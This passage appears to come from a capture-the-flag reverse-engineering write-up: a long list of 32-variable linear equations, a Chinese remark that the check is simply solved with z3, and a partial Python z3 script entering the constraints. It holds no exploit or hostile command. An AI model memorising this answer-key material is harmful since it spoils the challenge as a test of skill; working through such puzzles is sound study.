x0 * 3179913872 + x1 * 1590442647 + x2 * 16192345 + x3 * 2330075242 + x4 * 655160953 + x5 * 4052746453 + x6 * 3225345308 + x7 * 3362725382 + x8 * 350986883 + x9 * 2257032841 + x10 * 203422664 + x11 * 1211339833 + x12 * 1005356492 + x13 * 3016854180 + x14 * 3052361161 + x15 * 667363442 + x16 * 1711948350 + x17 * 674085815 + x18 * 386890144 + x19 * 3422048832 + x20 * 127837425 + x21 * 1178013843 + x22 * 642733070 + x23 * 3317927971 + x24 * 470770850 + x25 * 1793530046 + x26 * 3190738311 + x27 * 1437576481 + x28 * 273211936 + x29 * 3162727862 + x30 * 172486187 + x31 * 3154971774 == 122131281329452040239,
x0 * 1984698529 + x1 * 1445752975 + x2 * 556628780 + x3 * 1388438884 + x4 * 1249287957 + x5 * 355916806 + x6 * 317389095 + x7 * 3161347497 + x8 * 3059986980 + x9 * 3375424603 + x10 * 2501724356 + x11 * 3520286932 + x12 * 2650494784 + x13 * 3031688124 + x14 * 777396084 + x15 * 3712283044 + x16 * 2001084449 + x17 * 2179194542 + x18 * 330859108 + x19 * 4245370419 + x20 * 1597774590 + x21 * 279816529 + x22 * 2461029032 + x23 * 4024610466 + x24 * 2111027579 + x25 * 1607579079 + x26 * 2097268956 + x27 * 2069066877 + x28 * 2186433547 + x29 * 922721930 + x30 * 1292267441 + x31 * 2955441028 == 144038024275757774857,
x0 * 1241308871 + x1 * 1393662036 + x2 * 4198993351 + x3 * 91138693 + x4 * 525807852 + x5 * 2577403449 + x6 * 86644570 + x7 * 1732667838 + x8 * 2939702570 + x9 * 2284810186 + x10 * 208700933 + x11 * 2215740017 + x12 * 3214773041 + x13 * 870729362 + x14 * 65832640 + x15 * 3610432908 + x16 * 522601813 + x17 * 175075843 + x18 * 1282298391 + x19 * 36747212 + x20 * 2587821571 + x21 * 4181954474 + x22 * 1445029272 + x23 * 153408069 + x24 * 3576784077 + x25 * 3813757427 + x26 * 3320262816 + x27 * 3551464465 + x28 * 3353985098 + x29 * 2447602934 + x30 * 3490733926 + x31 * 3993341361 == 123274418600692000659,
x0 * 893304126 + x1 * 3166857574 + x2 * 2441202939 + x3 * 3327570642 + x4 * 3669549855 + x5 * 780027614 + x6 * 180713694 + x7 * 2647145856 + x8 * 2319909284 + x9 * 1561031212 + x10 * 4202799781 + x11 * 573281460 + x12 * 3493520432 + x13 * 3956590471 + x14 * 3037423252 + x15 * 3483144817 + x16 * 275082166 + x17 * 708813902 + x18 * 4034706302 + x19 * 2451646427 + x20 * 1709043422 + x21 * 3508904880 + x22 * 3914395210 + x23 * 1390932539 + x24 * 724980967 + x25 * 3605577362 + x26 * 523257167 + x27 * 869314102 + x28 * 921376992 + x29 * 3327052711 + x30 * 513275795 + x31 * 3636241417 == 157486161096751655213,
x0 * 2312777622 + x1 * 1817334395 + x2 * 1138529684 + x3 * 3773604428 + x4 * 1935211151 + x5 * 2213289840 + x6 * 377676625 + x7 * 1196080510 + x8 * 1199201227 + x9 * 2631999064 + x10 * 2323693808 + x11 * 3341119621 + x12 * 4082235941 + x13 * 1108916057 + x14 * 4084043198 + x15 * 3777740051 + x16 * 625149649 + x17 * 2152448475 + x18 * 2880243061 + x19 * 2428704446 + x20 * 747636324 + x21 * 3509162185 + x22 * 2883831894 + x23 * 414518377 + x24 * 3814902119 + x25 * 2824636355 + x26 * 247901663 + x27 * 386586108 + x28 * 1765102390 + x29 * 18084913 + x30 * 3764887142 + x31 * 1394818146 == 123317982529357675593,
x0 * 2391932865 + x1 * 1997583865 + x2 * 3809734451 + x3 * 92863853 + x4 * 252092837 + x5 * 4213171834 + x6 * 935980948 + x7 * 2427304675 + x8 * 2544835044 + x9 * 1740512234 + x10 * 2320698790 + x11 * 1671324494 + x12 * 3667386361 + x13 * 4067418541 + x14 * 157438085 + x15 * 2118582852 + x16 * 1441120116 + x17 * 2280200848 + x18 * 4208695179 + x19 * 1106492516 + x20 * 2587300334 + x21 * 3381272823 + x22 * 372050960 + x23 * 428062772 + x24 * 1286515897 + x25 * 22829630 + x26 * 1687635288 + x27 * 148405470 + x28 * 1814450870 + x29 * 1463318313 + x30 * 3619227493 + x31 * 3925731221 == 126768559219496596529,
x0 * 2347575350 + x1 * 1308889115 + x2 * 816706 + x3 * 170180207 + x4 * 685204177 + x5 * 288117352 + x6 * 1596053028 + x7 * 4247787399 + x8 * 31917025 + x9 * 2353281381 + x10 * 3185744134 + x11 * 2003614228 + x12 * 1662365886 + x13 * 2980988429 + x14 * 1627703790 + x15 * 611495148 + x16 * 1131728868 + x17 * 1957109115 + x18 * 384617144 + x19 * 1191742837 + x20 * 2946660792 + x21 * 3628902190 + x22 * 1497475406 + x23 * 3239518215 + x24 * 3998343997 + x25 * 2046453265 + x26 * 4212348310 + x27 * 1965589374 + x28 * 1828186543 + x29 * 1017928266 + x30 * 1620042354 + x31 * 727553879 == 127606112624935498339,
x0 * 832094402 + x1 * 3314572044 + x2 * 488868442 + x3 * 1841935151 + x4 * 1171324799 + x5 * 3471299188 + x6 * 2551569670 + x7 * 2706142177 + x8 * 1413270141 + x9 * 2799345217 + x10 * 1736078138 + x11 * 2640026379 + x12 * 3309523775 + x13 * 708228019 + x14 * 187736002 + x15 * 104108754 + x16 * 2004810 + x17 * 3509194834 + x18 * 1101418726 + x19 * 3213850540 + x20 * 3057147817 + x21 * 2872087805 + x22 * 2543533871 + x23 * 1405445933 + x24 * 3453063846 + x25 * 4186228310 + x26 * 2620809382 + x27 * 2719800494 + x28 * 2919918455 + x29 * 216899503 + x30 * 2182290754 + x31 * 674368800 == 146513328826081369964,
x0 * 3379659353 + x1 * 31185134 + x2 * 2705610804 + x3 * 1311536103 + x4 * 660262997 + x5 * 1502856668 + x6 * 826236852 + x7 * 1397745099 + x8 * 2502632519 + x9 * 3208481979 + x10 * 2304290531 + x11 * 315497265 + x12 * 997141305 + x13 * 1495605164 + x14 * 1363724399 + x15 * 228866868 + x16 * 2175251957 + x17 * 3389971630 + x18 * 3635887769 + x19 * 1257419666 + x20 * 1525795938 + x21 * 3607149798 + x22 * 3014126932 + x23 * 3279147474 + x24 * 298781431 + x25 * 459143014 + x26 * 219295357 + x27 * 1281424290 + x28 * 57884126 + x29 * 3878979772 + x30 * 2624360304 + x31 * 2540908447 == 125780026597502848309,
x0 * 4141491113 + x1 * 388348346 + x2 * 2889238267 + x3 * 3733701272 + x4 * 1601705709 + x5 * 1456475651 + x6 * 948577705 + x7 * 697474119 + x8 * 3725363803 + x9 * 3494425037 + x10 * 2404375304 + x11 * 1395091741 + x12 * 2014936811 + x13 * 3226479938 + x14 * 97991957 + x15 * 2571009732 + x16 * 2169251700 + x17 * 445613394 + x18 * 3338254578 + x19 * 3100217642 + x20 * 450233404 + x21 * 1452263534 + x22 * 3323263008 + x23 * 1281259019 + x24 * 2881501240 + x25 * 3853647762 + x26 * 3872612425 + x27 * 3625904675 + x28 * 28491161 + x29 * 837865088 + x30 * 3019749606 + x31 * 3755559168 == 145685276087861502602,
x0 * 868978565 + x1 * 1880902698 + x2 * 2147687639 + x3 * 3919867658 + x4 * 1156685196 + x5 * 1258174623 + x6 * 985400361 + x7 * 2158611251 + x8 * 1736758238 + x9 * 1949766062 + x10 * 2648425083 + x11 * 675668374 + x12 * 1793502003 + x13 * 1336203958 + x14 * 915529071 + x15 * 1122262796 + x16 * 4218938706 + x17 * 3220340687 + x18 * 36734 + x19 * 3241657248 + x20 * 2771578913 + x21 * 29182553 + x22 * 50755641 + x23 * 1762070976 + x24 * 3306888932 + x25 * 2636754670 + x26 * 3631173493 + x27 * 1644653937 + x28 * 2618008158 + x29 * 4191824826 + x30 * 3192806718 + x31 * 2190278270 == 144549374105911908218,
x0 * 136541182 + x1 * 2398358896 + x2 * 2797311504 + x3 * 2901208986 + x4 * 2703442703 + x5 * 2774784461 + x6 * 2896299321 + x7 * 3629629347 + x8 * 2661198340 + x9 * 2375796526 + x10 * 2881309577 + x11 * 3914693638 + x12 * 2474743366 + x13 * 1451731319 + x14 * 2469518941 + x15 * 585788456 + x16 * 1081804477 + x17 * 533018429 + x18 * 1414204985 + x19 * 3497925490 + x20 * 3647335419 + x21 * 1664992968 + x22 * 1447923481 + x23 * 3405490146 + x24 * 249505201 + x25 * 2233596994 + x26 * 1410924969 + x27 * 2337291136 + x28 * 1379480160 + x29 * 744913417 + x30 * 2626213460 + x31 * 433230044 == 152842832971821875727,
x0 * 1014008577 + x1 * 39181748 + x2 * 1609902830 + x3 * 63541537 + x4 * 1956421427 + x5 * 2909152377 + x6 * 3644591420 + x7 * 2245163593 + x8 * 4286399149 + x9 * 1403326636 + x10 * 2505241388 + x11 * 3866291259 + x12 * 2191815293 + x13 * 3790086170 + x14 * 3670225237 + x15 * 4242912516 + x16 * 3946904107 + x17 * 1837747940 + x18 * 3855688508 + x19 * 562956386 + x20 * 890540326 + x21 * 3159132292 + x22 * 2704578526 + x23 * 2105117563 + x24 * 3103140980 + x25 * 1827417523 + x26 * 483250618 + x27 * 3611418104 + x28 * 876993421 + x29 * 1524092496 + x30 * 1409341189 + x31 * 3793036452 == 171784010999187327978,
x0 * 766382107 + x1 * 1796925795 + x2 * 2252539335 + x3 * 349697888 + x4 * 2128341206 + x5 * 237551020 + x6 * 3435605863 + x7 * 3509292666 + x8 * 2464261299 + x9 * 3708905227 + x10 * 306252195 + x11 * 1348134057 + x12 * 872885862 + x13 * 3230301891 + x14 * 4223976431 + x15 * 2129576385 + x16 * 184274380 + x17 * 1339568775 + x18 * 240471204 + x19 * 4208060501 + x20 * 3866337301 + x21 * 1736393059 + x22 * 4084431732 + x23 * 3779198617 + x24 * 3474528562 + x25 * 3227302577 + x26 * 1764448184 + x27 * 1745641228 + x28 * 3436861592 + x29 * 3395770976 + x30 * 3381022139 + x31 * 297539769 == 159926095018550107875,
x0 * 2905996883 + x1 * 3368852349 + x2 * 2813356621 + x3 * 482055211 + x4 * 1197172847 + x5 * 731391015 + x6 * 2945886565 + x7 * 3467015148 + x8 * 537949256 + x9 * 2535535996 + x10 * 1176357138 + x11 * 3396182730 + x12 * 2858025536 + x13 * 3563590525 + x14 * 4141138247 + x15 * 3391692063 + x16 * 2595437915 + x17 * 234965395 + x18 * 1117742031 + x19 * 3427440116 + x20 * 3558609028 + x21 * 112305692 + x22 * 238895413 + x23 * 2820696874 + x24 * 1930124190 + x25 * 2904137135 + x26 * 3600773562 + x27 * 54663135 + x28 * 968260380 + x29 * 2500702039 + x30 * 3005295995 + x31 * 4136599497 == 147261348508848582047,
x0 * 3421877383 + x1 * 444332646 + x2 * 3066582397 + x3 * 410262930 + x4 * 2799546449 + x5 * 2190731430 + x6 * 3607309350 + x7 * 2329930437 + x8 * 2678982918 + x9 * 2797446341 + x10 * 3884979666 + x11 * 757321735 + x12 * 272692453 + x13 * 1039573000 + x14 * 1106227562 + x15 * 1967995121 + x16 * 3818641657 + x17 * 2958463100 + x18 * 693634090 + x19 * 4116131146 + x20 * 3604001650 + x21 * 1238373233 + x22 * 3200266845 + x23 * 3957996712 + x24 * 3653451723 + x25 * 2961370342 + x26 * 3043337802 + x27 * 1398445668 + x28 * 3133330721 + x29 * 679074840 + x30 * 3563156569 + x31 * 176796959 == 167538035640995956562,
x0 * 3407463393 + x1 * 2954388381 + x2 * 3398321376 + x3 * 703750584 + x4 * 719140271 + x5 * 4255500079 + x6 * 683637205 + x7 * 3659297114 + x8 * 618688496 + x9 * 2469121759 + x10 * 3644135823 + x11 * 1311631006 + x12 * 3732181084 + x13 * 2946211492 + x14 * 3723132383 + x15 * 1325756630 + x16 * 568937023 + x17 * 3359219977 + x18 * 2395244206 + x19 * 4246808660 + x20 * 2956191019 + x21 * 494313100 + x22 * 3493565032 + x23 * 2125356358 + x24 * 293383341 + x25 * 2881003778 + x26 * 1563660838 + x27 * 2562578871 + x28 * 4144554067 + x29 * 22718298 + x30 * 2390441161 + x31 * 3851902251 == 149364132975709163594,
x0 * 3700867328 + x1 * 162482258 + x2 * 172681360 + x3 * 673608768 + x4 * 3896952374 + x5 * 1606330254 + x6 * 2557779118 + x7 * 2839188805 + x8 * 789655247 + x9 * 3424210560 + x10 * 100545829 + x11 * 3936538736 + x12 * 1653944730 + x13 * 2102833767 + x14 * 3306727712 + x15 * 599821842 + x16 * 2700883336 + x17 * 2593372272 + x18 * 4217672760 + x19 * 1547041783 + x20 * 3434126938 + x21 * 356726724 + x22 * 3095721683 + x23 * 2932731911 + x24 * 4136374907 + x25 * 730165508 + x26 * 3627218359 + x27 * 2518974159 + x28 * 3248668960 + x29 * 1495203249 + x30 * 2284224748 + x31 * 1790575076 == 139010541840838007430

其实跟加密的代码没啥关系… 用 z3 solver 解就行了

from z3 import *

s = Solver()
x = [0] * 32

for i in range(32):
    x[i] = Int('x[' + str(i) + ']')

s.add(x[0] * 2905774839 + x[1] * 937692645 + x[2] * 2277996359 + x[3] * 1574938713 + x[4] * 825047075 + x[5] * 1179013397 + x[6] * 2366890081 + x[7] * 3219529440 + x[8] * 2414190453 + x[9] * 3590757506 + x[10] * 3909323650 + x[11] * 2183139299 + x[12] * 1579902159 + x[13] * 3343902869 + x[14] * 896068862 + x[15] * 309758299 + x[16] * 901531607 + x[17] * 291291156 + x[18] * 2546709881 + x[19] * 4221036639 + x[20] * 3505720382 + x[21] * 3684857351 + x[22] * 2022652786 + x[23] * 451227475 + x[24] * 3741251238 + x[25] * 3997408590 + x[26] * 2256908756 + x[27] * 1334843411 + x[28] * 4020591098 + x[29] * 2114708609 + x[30] * 79808585 + x[31] * 2974805697 == 153629905098136685045)
s.add(x[0] * 633779458 + x[1] * 760323050 + x[2] * 3524136923 + x[3] * 3404961172 + x[4] * 3497719477 + x[5] * 2036024833 + x[6] * 2807481062 + x[7] * 3579571169 + x[8] * 1182247335 + x[9] * 1473703468 + x[10] * 1485764830 + x[11] * 2344149245 + x[12] * 2230867977 + x[13] * 451381281 + x[14] * 2729949187 + x[15] * 1329480928 + x[16] * 3036372799 + x[17] * 1916707506 + x[18] * 1408308101 + x[19] * 3414819940 + x[20] * 54157456 + x[21] * 4081087004 + x[22] * 81644901 + x[23] * 1046457653 + x[24] * 2786986628 + x[25] * 3293369990 + x[26] * 2547544255 + x[27] * 1408426127 + x[28] * 1700843152 + x[29] * 4028585224 + x[30] * 3882199080 + x[31] * 4040732992 == 145118376676814378151)
s.add(x[0] * 1158359552 + x[1] * 952473112 + x[2] * 2469876874 + x[3] * 1877922146 + x[4] * 2681754384 + x[5] * 441645489 + x[6] * 1451082555 + x[7] * 1282675826 + x[8] * 3628741269 + x[9] * 1538367477 + x[10] * 4256030398 + x[11] * 1551122815 + x[12] * 2403304542 + x[13] * 1198458285 + x[14] * 2596160415 + x[15] * 3952532206 + x[16] * 1372310735 + x[17] * 3735073437 + x[18] * 686367724 + x[19] * 158982013 + x[20] * 1901981688 + x[21] * 2045511526 + x[22] * 1553141146 + x[23] * 574875471 + x[24] * 3881193717 + x[25] * 281974061 + x[26] * 3401680368 + x[27] * 1071341816 + x[28] * 3856818199 + x[29] * 1543037830 + x[30] * 2600897676 + x[31] * 886793613 == 125136025093969380235)
s.add(x[0] * 3369804515 + x[1] * 1388562875 + x[2] * 2620029184 + x[3] * 3424874122 + x[4] * 2155070368 + x[5] * 515581101 + x[6] * 3448760104 + x[7] * 1571958247 + x[8] * 1344632695 + x[9] * 3418066835 + x[10] * 1055412931 + x[11] * 2599736936 + x[12] * 1682298601 + x[13] * 3888231955 + x[14] * 869443630 + x[15] * 46802084 + x[16] * 1434071143 + x[17] * 537999569 + x[18] * 3062214567 + x[19] * 638588405 + x[20] * 1418519591 + x[21] * 921851625 + x[22] * 1349011403 + x[23] * 2504652024 + x[24] * 1128409974 + x[25] * 825642445 + x[26] * 2980848614 + x[27] * 3181702547 + x[28] * 1665015471 + x[29] * 1655900518 + x[30] * 1737483004 + x[31] * 4058968130 == 123888756483831750489)
s.add(x[0] * 2992139966 + x[1] * 3421209457 + x[2] * 1518056473 + x[3] * 2934632866 + x[4] * 474750728 + x[5] * 1888643463 + x[6] * 715133241 + x[7] * 270269278 + x[8] * 3453364309 + x[9] * 2375169043 + x[10] * 475758667 + x[11] * 1550808440 + x[12] * 870004412 + x[13] * 2502311422 + x[14] * 2802347419 + x[15] * 3316934713 + x[16] * 3072815429 + x[17] * 1955447632 + x[18] * 957468873 + x[19] * 2003306503 + x[20] * 2991846576 + x[21] * 1052908526 + x[22] * 852939089 + x[23] * 2001031122 + x[24] * 1763364759 + x[25] * 318730434 + x[26] * 2271963088 + x[27] * 3167595340 + x[28] * 186065313 + x[29] * 3124233301 + x[30] * 1558676638 + x[31] * 229698311 == 136466432408823062440)
s.add(x[0] * 880826917 + x[1] * 2298353220 + x[2] * 13972845 + x[3] * 2112342331 + x[4] * 520363735 + x[5] * 1669676202 + x[6] * 2365942382 + x[7] * 2454166357 + x[8] * 86684296 + x[9] * 4180997737 + x[10] * 2651800933 + x[11] * 3387852337 + x[12] * 3569081096 + x[13] * 412248780 + x[14] * 2622374412 + x[15] * 4004737267 + x[16] * 3937062327 + x[17] * 2122230024 + x[18] * 508412261 + x[19] * 925290104 + x[20] * 2297262392 + x[21] * 2615036583 + x[22] * 956831662 + x[23] * 2377853219 + x[24] * 2129964002 + x[25] * 711861720 + x[26] * 1072575240 + x[27] * 290600530 + x[28] * 3557322638 + x[29] * 1937025602 + x[30] * 3942606369 + x[31] * 848634526 == 135520634374716138253)
s.add(x[0] * 1667423245 + x[1] * 3205256744 + x[2] * 4218058651 + x[3] * 4247786171 + x[4] * 2902884888 + x[5] * 1776716207 + x[6] * 57317883 + x[7] * 2810845945 + x[8] * 4056618058 + x[9] * 2442806270 + x[10] * 189251210 + x[11] * 175454169 + x[12] * 1563217423 + x[13] * 1584552187 + x[14] * 4066113642 + x[15] * 2678017765 + x[16] * 1370397535 + x[17] * 1796075905 + x[18] * 3507132543 + x[19] * 2375242245 + x[20] * 1599167786 + x[21] * 3353660587 + x[22] * 2792999728 + x[23] * 2513875102 + x[24] * 3349313992 + x[25] * 561973312 + x[26] * 131599779 + x[27] * 1780045940 + x[28] * 181893476 + x[29] * 1515423140 + x[30] * 1695557088 + x[31] * 1103274089 == 140870834889282733787)
s.add(x[0] * 2924743894 + x[1] * 2747685610 + x[2] * 703249631 + x[3] * 2970835309 + x[4] * 1709917538 + x[5] * 2326038184 + x[6] * 3850628518 + x[7] * 1598044999 + x[8] * 1230534089 + x[9] * 2628050448 + x[10] * 560260479 + x[11] * 2827469192 + x[12] * 1261659178 + x[13] * 3473946812 + x[14] * 2627319447 + x[15] * 2783861426 + x[16] * 1814833846 + x[17] * 3969833864 + x[18] * 4048131215 + x[19] * 3849752757 + x[20] * 3942527132 + x[21] * 3218422785 + x[22] * 1568409347 + x[23] * 3959466355 + x[24] * 2784582743 + x[25] * 2996021365 + x[26] * 1058302993 + x[27] * 360568252 + x[28] * 4120475817 + x[29] * 612600724 + x[30] * 3312442340 + x[31] * 2780876242 == 162850348028726438719)
s.add(x[0] * 1616016662 + x[1] * 3654249690 + x[2] * 137386530 + x[3] * 1430840003 + x[4] * 413249034 + x[5] * 512756864 + x[6] * 4178200879 + x[7] * 2530110366 + x[8] * 2920225584 + x[9] * 3182457452 + x[10] * 1705355659 + x[11] * 2866496197 + x[12] * 4233807177 + x[13] * 1885804809 + x[14] * 1332101007 + x[15] * 511987054 + x[16] * 3709126878 + x[17] * 1639834513 + x[18] * 2331999251 + x[19] * 3942139119 + x[20] * 3452087731 + x[21] * 3059112759 + x[22] * 3445769324 + x[23] * 128282305 + x[24] * 895514710 + x[25] * 3973866022 + x[26] * 3074206386 + x[27] * 2793860989 + x[28] * 4208156768 + x[29] * 1868752777 + x[30] * 1128655300 + x[31] * 4224750762 == 173549152139361191182)
s.add(x[0] * 1507751682 + x[1] * 1846572164 + x[2] * 2041260497 + x[3] * 1124204604 + x[4] * 803283004 + x[5] * 2783064398 + x[6] * 3894553701 + x[7] * 1968388652 + x[8] * 4001422379 + x[9] * 3448449208 + x[10] * 3520475047 + x[11] * 2550138883 + x[12] * 2389210163 + x[13] * 126106238 + x[14] * 2662172629 + x[15] * 4261498421 + x[16] * 3044233456 + x[17] * 3644778899 + x[18] * 870298634 + x[19] * 2695223165 + x[20] * 1650836877 + x[21] * 1258482236 + x[22] * 1063099544 + x[23] * 3764404492 + x[24] * 3967617774 + x[25] * 1965577715 + x[26] * 2446428246 + x[27] * 1505068720 + x[28] * 3981692241 + x[29] * 3408565448 + x[30] * 2781597153 + x[31] * 3092390689 == 180393478529485883021)
s.add(x[0] * 351479342 + x[1] * 503524980 + x[2] * 1716292026 + x[3] * 938189610 + x[4] * 3362208287 + x[5] * 280354280 + x[6] * 2300444836 + x[7] * 1468215142 + x[8] * 3180887405 + x[9] * 2532072979 + x[10] * 1652875734 + x[11] * 2254901041 + x[12] * 259860786 + x[13] * 3263784945 + x[14] * 483273054 + x[15] * 3166504792 + x[16] * 914039776 + x[17] * 4266192190 + x[18] * 1042961273 + x[19] * 181336626 + x[20] * 669694284 + x[21] * 2453653976 + x[22] * 1389685958 + x[23] * 2284711690 + x[24] * 3317847597 + x[25] * 2440906291 + x[26] * 3042784363 + x[27] * 1482188614 + x[28] * 2369361990 + x[29] * 324426473 + x[30] * 1763743995 + x[31] * 3934897747 == 117888147215252945859)
s.add(x[0] * 725022521 + x[1] * 938746075 + x[2] * 3633113215 + x[3] * 4185273958 + x[4] * 2800996696 + x[5] * 2631729929 + x[6] * 2692051893 + x[7] * 3433724886 + x[8] * 1616354254 + x[9] * 3607913532 + x[10] * 529812087 + x[11] * 2791241832 + x[12] * 1737462722 + x[13] * 3641411598 + x[14] * 1924632655 + x[15] * 1616473457 + x[16] * 3637886658 + x[17] * 1858291856 + x[18] * 1078390594 + x[19] * 1887741658 + x[20] * 2265350830 + x[21] * 2676979191 + x[22] * 1970124470 + x[23] * 664078020 + x[24] * 1808737559 + x[25] * 2298779415 + x[26] * 1388943648 + x[27] * 4204667059 + x[28] * 1073622448 + x[29] * 3443318903 + x[30] * 2171824304 + x[31] * 1868209557 == 158683608359654647072)
s.add(x[0] * 650341618 + x[1] * 2935581294 + x[2] * 2644385881 + x[3] * 1535307611 + x[4] * 1016591324 + x[5] * 815158333 + x[6] * 1448798160 + x[7] * 2641332727 + x[8] * 270686394 + x[9] * 2219311183 + x[10] * 2967122700 + x[11] * 3770872278 + x[12] * 3541712142 + x[13] * 3868017641 + x[14] * 3555690826 + x[15] * 802632927 + x[16] * 3680835829 + x[17] * 682966028 + x[18] * 1194680003 + x[19] * 894072837 + x[20] * 1878364070 + x[21] * 1331140614 + x[22] * 965880101 + x[23] * 1138566143 + x[24] * 701720887 + x[25] * 2742737986 + x[26] * 3045938774 + x[27] * 147247760 + x[28] * 4094028215 + x[29] * 204167974 + x[30] * 3200135673 + x[31] * 27026610 == 119553298425410260470)
s.add(x[0] * 3264996808 + x[1] * 2331472878 + x[2] * 2992654618 + x[3] * 1337387837 + x[4] * 3068330431 + x[5] * 1897134387 + x[6] * 2124686830 + x[7] * 433732986 + x[8] * 560852756 + x[9] * 569523526 + x[10] * 1635729292 + x[11] * 3899076223 + x[12] * 2599433468 + x[13] * 2525044550 + x[14] * 3233393817 + x[15] * 1990368374 + x[16] * 8003701 + x[17] * 1649870439 + x[18] * 429808458 + x[19] * 2788914187 + x[20] * 3183669167 + x[21] * 4029467918 + x[22] * 1823857717 + x[23] * 3493646301 + x[24] * 1619264007 + x[25] * 1485689524 + x[26] * 1136226577 + x[27] * 2403749534 + x[28] * 4188551850 + x[29] * 19971766 + x[30] * 3514606027 + x[31] * 2659730746 == 129283893341689770873)
s.add(x[0] * 3179913872 + x[1] * 1590442647 + x[2] * 16192345 + x[3] * 2330075242 + x[4] * 655160953 + x[5] * 4052746453 + x[6] * 3225345308 + x[7] * 3362725382 + x[8] * 350986883 + x[9] * 2257032841 + x[10] * 203422664 + x[11] * 1211339833 + x[12] * 1005356492 + x[13] * 3016854180 + x[14] * 3052361161 + x[15] * 667363442 + x[16] * 1711948350 + x[17] * 674085815 + x[18] * 386890144 + x[19] * 3422048832 + x[20] * 127837425 + x[21] * 1178013843 + x[22] * 642733070 + x[23] * 3317927971 + x[24] * 470770850 + x[25] * 1793530046 + x[26] * 3190738311 + x[27] * 1437576481 + x[28] * 273211936 + x[29] * 3162727862 + x[30] * 172486187 + x[31] * 3154971774 == 122131281329452040239)
s.add(x[0] * 1984698529 + x[1] * 1445752975 + x[2] * 556628780 + x[3] * 1388438884 + x[4] * 1249287957 + x[5] * 355916806 + x[6] * 317389095 + x[7] * 3161347497 + x[8] * 3059986980 + x[9] * 3375424603 + x[10] * 2501724356 + x[11] * 3520286932 + x[12] * 2650494784 + x[13] * 3031688124 + x[14] * 777396084 + x[15] * 3712283044 + x[16] * 2001084449 + x[17] * 2179194542 + x[18] * 330859108 + x[19] * 4245370419 + x[20] * 1597774590 + x[21] * 279816529 + x[22] * 2461029032 + x[23] * 4024610466 + x[24] * 2111027579 + x[25] * 1607579079 + x[26] * 2097268956 + x[27] * 2069066877 + x[28] * 2186433547 + x[29] * 922721930 + x[30] * 1292267441 + x[31] * 2955441028 == 144038024275757774857)
s.add(x[0] * 1241308871 + x[1] * 1393662036 + x[2] * 4198993351 + x[3] * 91138693 + x[4] * 525807852 + x[5] * 2577403449 + x[6] * 86644570 + x[7] * 1732667838 + x[8] * 2939702570 + x[9] * 2284810186 + x[10] * 208700933 + x[11] * 2215740017 + x[12] * 3214773041 + x[13] * 870729362 + x[14] * 65832640 + x[15] * 3610432908 + x[16] * 522601813 + x[17] * 175075843 + x[18] * 1282298391 + x[19] * 36747212 + x[20] * 2587821571 + x[21] * 4181954474 + x[22] * 1445029272 + x[23] * 153408069 + x[24] * 3576784077 + x[25] * 3813757427 + x[26] * 3320262816 + x[27] * 3551464465 + x[28] * 3353985098 + x[29] * 2447602934 + x[30] * 3490733926 + x[31] * 3993341361 == 123274418600692000659)
s.add(x[0] * 893304126 + x[1] * 3166857574 + x[2] * 2441202939 + x[3] * 3327570642 + x[4] * 3669549855 + x[5] * 780027614 + x[6] * 180713694 + x[7] * 2647145856 + x[8] * 2319909284 + x[9] * 1561031212 + x[10] * 4202799781 + x[11] * 573281460 + x[12] * 3493520432 + x[13] * 3956590471 + x[14] * 3037423252 + x[15] * 3483144817 + x[16] * 275082166 + x[17] * 708813902 + x[18] * 4034706302 + x[19] * 2451646427 + x[20] * 1709043422 + x[21] * 3508904880 + x[22] * 3914395210 + x[23] * 1390932539 + x[24] * 724980967 + x[25] * 3605577362 + x[26] * 523257167 + x[27] * 869314102 + x[28] * 921376992 + x[29] * 3327052711 + x[30] * 513275795 + x[31] * 3636241417 == 157486161096751655213)
s.add(x[0] * 2312777622 + x[1] * 1817334395 + x[2] * 1138529684 + x[3] * 3773604428 + x[4] * 1935211151 + x[5] * 2213289840 + x[6] * 377676625 + x[7] * 1196080510 + x[8] * 1199201227 + x[9] * 2631999064 + x[10] * 2323693808 + x[11] * 3341119621 + x[12] * 4082235941 + x[13] * 1108916057 + x[14] * 4084043198 + x[15] * 3777740051 + x[16] * 625149649 + x[17] * 2152448475 + x[18] * 2880243061 + x[19] * 2428704446 + x[20] * 747636324 + x[21] * 3509162185 + x[22] * 2883831894 + x[23] * 414518377 + x[24] * 3814902119 + x[25] * 2824636355 + x[26] * 247901663 + x[27] * 386586108 + x[28] * 1765102390 + x[29] * 18084913 + x[30] * 3764887142 + x[31] * 1394818146 == 123317982529357675593)
s.add(x[0] * 2391932865 + x[1] * 1997583865 + x[2] * 3809734451 + x[3] * 92863853 + x[4] * 252092837 + x[5] * 4213171834 + x[6] * 935980948 + x[7] * 2427304675 + x[8] * 2544835044 + x[9] * 1740512234 + x[10] * 2320698790 + x[11] * 1671324494 + x[12] * 3667386361 + x[13] * 4067418541 + x[14] * 157438085 + x[15] * 2118582852 + x[16] * 1441120116 + x[17] * 2280200848 + x[18] * 4208695179 + x[19] * 1106492516 + x[20] * 2587300334 + x[21] * 3381272823 + x[22] * 372050960 + x[23] * 428062772 + x[24] * 1286515897 + x[25] * 22829630 + x[26] * 1687635288 + x[27] * 148405470 + x[28] * 1814450870 + x[29] * 1463318313 + x[30] * 3619227493 + x[31] * 3925731221 == 126768559219496596529)
s.add(x[0] * 2347575350 + x[1] * 1308889115 + x[2] * 816706 + x[3] * 170180207 + x[4] * 685204177 + x[5] * 288117352 + x[6] * 1596053028 + x[7] * 4247787399 + x[8] * 31917025 + x[9] * 2353281381 + x[10] * 3185744134 + x[11] * 2003614228 + x[12] * 1662365886 + x[13] * 2980988429 + x[14] * 1627703790 + x[15] * 611495148 + x[16] * 1131728868 + x[17] * 1957109115 + x[18] * 384617144 + x[19] * 1191742837 + x[20] * 2946660792 + x[21] * 3628902190 + x[22] * 1497475406 + x[23] * 3239518215 + x[24] * 3998343997 + x[25] * 2046453265 + x[26] * 4212348310 + x[27] * 1965589374 + x[28] * 1828186543 + x[29] * 1017928266 + x[30] * 1620042354 + x[31] * 727553879 == 127606112624935498339)
